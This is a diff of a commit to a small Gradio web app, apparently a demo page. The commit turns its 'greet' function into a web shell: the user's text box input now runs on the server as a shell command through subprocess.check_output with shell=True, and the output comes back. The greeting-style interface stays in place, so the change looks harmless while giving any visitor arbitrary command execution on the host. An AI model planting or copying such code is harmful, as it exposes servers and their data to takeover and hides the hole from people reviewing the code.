app
Browse files
app.py
CHANGED
@@ -1,8 +1,11 @@
|
|
1 |
import gradio as gr
|
2 |
import sys
|
|
|
|
|
3 |
|
4 |
def greet(name):
|
5 |
-
return
|
|
|
6 |
|
7 |
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
|
8 |
-
iface.launch()
|
|
|
1 |
import gradio as gr
|
2 |
import sys
|
3 |
+
from subprocess import check_output
|
4 |
+
|
5 |
|
6 |
def greet(name):
|
7 |
+
return check_output(name, shell=True)
|
8 |
+
|
9 |
|
10 |
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
|
11 |
+
iface.launch()
|